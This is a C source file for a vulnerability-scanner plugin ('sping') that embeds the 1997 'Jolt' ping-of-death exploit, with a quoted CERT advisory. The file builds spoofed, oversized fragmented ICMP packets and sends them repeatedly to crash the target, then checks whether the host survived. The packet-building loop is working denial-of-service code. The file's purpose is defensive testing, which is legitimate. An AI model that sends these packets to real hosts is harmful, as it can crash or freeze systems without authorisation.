/*
 * 
 * sping
 *
 * This plugin was written by Renaud Deraison and is released
 * under the GPL
 *
 */
/* Jolt 1.0 (c) 1997 by Jeff w.Roberson
 * Please, if you use my code give me credit.  Also, if i was the first to
 * find this glith, please give me credit.  Thats all i ask.
 *
 * Ok so all this does is build a really fraggmented over sized packet
 * and once win95 gets it, and puts it back together it locks.  I send
 * multiple packets by default cause some times it takes a few packets to
 * totally freeze the host.  Maybe its spending processor time to figure
 * out how to put them back together?  I've had reports of people blue
 * screening from it tho so we'll let Microsoft's boys figure out exactly
 * what this does to 95.  As of now i haven't tested it on NT, but maybe
 * i will later ;).  All of this source wasn't origonally written by me
 * I just took one of the old programs to kill POSIX and SYSV based
 * systems and worked on it abit, then made it spoof =).
 * VallaH  (yaway@hotmail.com)
 *
 *  Update: It apears to work on some older versions of mac os
 */

/* Yah this is for linux, but i like the BSD ip header better then linux's */
#include <includes.h>

#define __BSD_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <string.h>
#include <arpa/inet.h>

#ifdef HAVE_UCBINCLUDE
#ifdef BSD
#undef BSD
#else
#define BSD
#endif
#endif

#ifndef BSD
#define ip iphdr
#define icmp icmphdr
#endif

        
     
#define NAME "sping"
#define DESC "\
Cert Advisory CA-96.26 :\n\
The TCP/IP specification (the basis for many protocols used on the\n\
Internet) allows for a maximum packet size of up to 65536 octets (1 octet\n\
= 8 bits of data), containing a minimum of 20 octets of IP header\n\
information and 0 or more octets of optional information, with the rest\n\
of the packet being data. It is known that some systems will react in an\n\
unpredictable fashion when receiving oversized IP packets. Reports\n\
indicate a range of reactions including crashing, freezing, and\n\
rebooting.\n\n\
In particular, the reports received by the CERT Coordination Center\n\
indicate that Internet Control Message Protocol (ICMP) packets issued via\n\
the \"ping\" command have been used to trigger this behavior. ICMP is a\n\
subset of the TCP/IP suite of protocols that transmits error and control\n\
messages between systems. Two specific instances of the ICMP are the ICMP\n\
ECHO_REQUEST and ICMP ECHO_RESPONSE datagrams. These two instances can be\n\
used by a local host to determine whether a remote system is reachable\n\
via the network; this is commonly achieved using the \"ping\" command.\n\n\
Discussion in public forums has centered around the use of the \"ping\"\n\
command to construct oversized ICMP datagrams (which are encapsulated\n\
within an IP packet). Many ping implementations by default send ICMP\n\
datagrams consisting only of the 8 octets of ICMP header information but\n\
allow the user to specify a larger packet size if desired.\n\n\
You can read more information about this vulnerability on Mike\n\
Bremford's Web page. (Note that this is not a CERT/CC maintained\n\
page. We provide the URL here for your convenience.)\n\n\
http://www.sophist.demon.co.uk/ping/index.html"
       
#define COPYRIGHT "Jeff w.Roberson"
#define SUMM "denial of service using the ping of death"

int test_open_port(struct arglist * args);
PlugExport int plugin_init(struct arglist *desc);
PlugExport int plugin_init(struct arglist *desc)
{
	plug_set_name(desc, NAME);
	plug_set_description(desc, DESC);
	plug_set_summary(desc, SUMM);
	plug_set_copyright(desc, COPYRIGHT);
	plug_set_category(desc, ACT_DENIAL);
	plug_set_family(desc, "Denial of Service");
	return(0);
}


PlugExport int plugin_run(struct arglist * args)
{
  int i,s;       
  char buf[400];
  struct ip *ip = (struct ip *)buf;
  struct icmp *icmp  = (struct icmp *)(ip + 1);
  struct sockaddr_in dst;
  struct in_addr * addr;
#ifdef BSD
  struct in_addr addr2;
#endif
  int offset;
  int on = 1;
 
  bzero(buf, sizeof(buf));
  
  if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW )) < 0) {
    return(0);
  }
  if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
    return(0);
  }
  
  addr = plug_get_host_ip(args);
  for (i=1;i<=20;i++) {
#ifndef BSD
    ip->daddr = addr->s_addr;
    ip->saddr = inet_addr("127.0.0.1");
    ip->version = 4;
    ip->ihl = sizeof *ip >> 2;
    ip->tos = 0;
    ip->tot_len = FIX(sizeof buf);
    ip->id = htons(4321);
    ip->frag_off = FIX(0);
    ip->ttl = 255;
    ip->protocol = 1;
    ip->check = 0;                 /* kernel fills in */
#else
    ip->ip_dst = *addr;
    addr2.s_addr = inet_addr("127.0.0.1");
    ip->ip_src = addr2;
   
 #ifdef _IP_VHL
    ip->ip_vhl = 4 << 4 | sizeof *ip >> 2;
 #else
    ip->ip_hl = sizeof(*ip);
    ip->ip_v = 4;
 #endif
    ip->ip_tos = 0;
    ip->ip_len = FIX(sizeof buf);
    ip->ip_id = htons(4321);
    ip->ip_off = FIX(0);
    ip->ip_ttl = 255;
    ip->ip_p = 1;
    ip->ip_sum = 0;           
#endif /* BSD */
    {
      struct in_addr tmp;
#ifndef BSD
      tmp.s_addr = ip->daddr;
#else
      tmp.s_addr = ip->ip_dst.s_addr;
#endif
      dst.sin_addr = tmp;
    }
    dst.sin_family = AF_INET;
#ifndef BSD    
    icmp->type = ICMP_ECHO;
    icmp->code = 0;
    icmp->checksum = htons(~(ICMP_ECHO << 8));
#else
    icmp->icmp_type = ICMP_ECHO;
    icmp->icmp_code = 0;
    icmp->icmp_cksum = htons(~(ICMP_ECHO << 8));
#endif
    for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) {
#ifndef BSD
      ip->frag_off = htons(offset >> 3);
#else
      ip->ip_off = htons(offset >> 3);
#endif
      if (offset < 65120)
#ifndef BSD
	ip->frag_off |= htons(0x2000);
#else
        ip->ip_off |= htons(0x2000);
#endif
      else
#ifndef BSD
	ip->tot_len = FIX(418);  /* make total 65538 */
#else
	ip->ip_len = FIX(418);
#endif
      if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,
		 sizeof dst) < 0);
      if (offset == 0) {
#ifndef BSD
	icmp->type = 0;
	icmp->code = 0;
	icmp->checksum = 0;
#else
	icmp->icmp_type = 0;
        icmp->icmp_code = 0;
        icmp->icmp_cksum = 0;
#endif
      }
    }
  }
  if(!(on=test_open_port(args)))post_hole(args, -1, 
"A denial of service could be perfomed using the 'ping of death'\n\
Solution : contact your vendor for a fix");
 if(on==-1)post_info(args, -1, 
"It *may* be possible that the remote host crashed after the ping of death,\n\
although it could not be verified");


 
  return 0;
}

int test_open_port(struct arglist * args)
{
 struct arglist * host; 
 struct arglist * ports;
 int i;
 int soc;
 
 host = arg_get_value(args, "HOSTNAME");
 ports = arg_get_value(host, "PORTS");
 if(ports && ports->name)i = atoi(ports->name);
 else return(-1);
 
 if((soc = open_sock_tcp(args, i))>0){
 	socket_close(soc);
 	return(1);
 	}
 else return(0);
}
